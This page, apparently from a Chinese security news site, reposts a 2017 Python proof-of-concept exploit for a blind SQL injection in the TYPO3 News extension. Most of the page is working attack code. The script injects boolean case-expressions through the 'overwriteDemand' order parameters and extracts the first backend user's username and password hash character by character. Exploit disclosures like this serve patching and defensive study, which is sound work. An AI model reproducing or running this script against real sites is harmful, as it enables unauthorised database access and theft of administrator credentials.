首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TYPO3 News Module - SQL Injection
来源:https://www.ambionics.io/blog 作者:CharlesFol 发布时间:2017-04-28  
# Exploit Title: TYPO3 News Module SQL Injection
# Vendor Homepage: https://typo3.org/extensions/repository/view/news
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/typo3-news-module-sqli
 
 
#!/usr/bin/python3
 
# TYPO3 News Module SQL Injection Exploit
# https://www.ambionics.io/blog/typo3-news-module-sqli
# cf
#
# The injection algorithm is not optimized, this is just meant to be a POC.
#
 
import requests
import string
 
 
session = requests.Session()
session.proxies = {'http': 'localhost:8080'}
 
 
# Change this
URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1'
PATTERN0 = 'Article #1'
PATTERN1 = 'Article #2'
 
FULL_CHARSET = string.ascii_letters + string.digits + '$./'
 
 
def blind(field, table, condition, charset):
 
    # We add 9 so that the result has two digits
 
    # If the length is superior to 100-9 it won't work
 
    size = blind_size(
 
        'length(%s)+9' % field, table, condition,
 
        2, string.digits
 
    )
 
    size = int(size) - 9
 
    data = blind_size(
 
        field, table, condition,
 
        size, charset
 
    )
 
    return data
 
 
def select_position(field, table, condition, position, char):
 
    payload = 'select(%s)from(%s)where(%s)' % (
 
        field, table, condition
 
    )
 
    payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position)
 
    payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % (
 
        payload, ord(char)
 
    )
 
    return payload
 
 
def blind_size(field, table, condition, size, charset):
 
    string = ''
 
    for position in range(size):
 
        for char in charset:
 
            payload = select_position(field, table, condition, position+1, char)
 
            if test(payload):
 
                string += char
 
                print(string)
 
                break
 
        else:
 
            raise ValueError('Char was not found')
 
 
 
    return string
 
 
def test(payload):
 
    response = session.post(
 
        URL,
 
        data=data(payload)
 
    )
 
    response = response.text
 
    return response.index(PATTERN0) < response.index(PATTERN1)
 
def data(payload):
 
    return {
 
        'tx_news_pi1[overwriteDemand][order]': payload,
 
        'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload,
 
        'tx_news_pi1[search][subject]': '',
 
        'tx_news_pi1[search][minimumDate]': '2016-01-01',
 
        'tx_news_pi1[search][maximumDate]': '2016-12-31',
 
    }
 
# Exploit
 
print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters))
print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET))
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mercurial Custom hg-ssh Wrappe
·Simple File Uploader - Arbitra
·Oracle VirtualBox Guest Additi
·Microsoft Internet Explorer 11
·Apple Safari - Array concat Me
·Panda Free Antivirus - 'PSKMAD
·Microsoft Windows 2003 SP2 - '
·IrfanView 4.44 - Denial of Ser
·OpenText Documentum Content Se
·Alerton Webtalk 2.5 / 3.3 - Mu
·LightDM (Ubuntu 16.04/16.10) -
·MySQL < 5.6.35 / < 5.7.17 - In
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved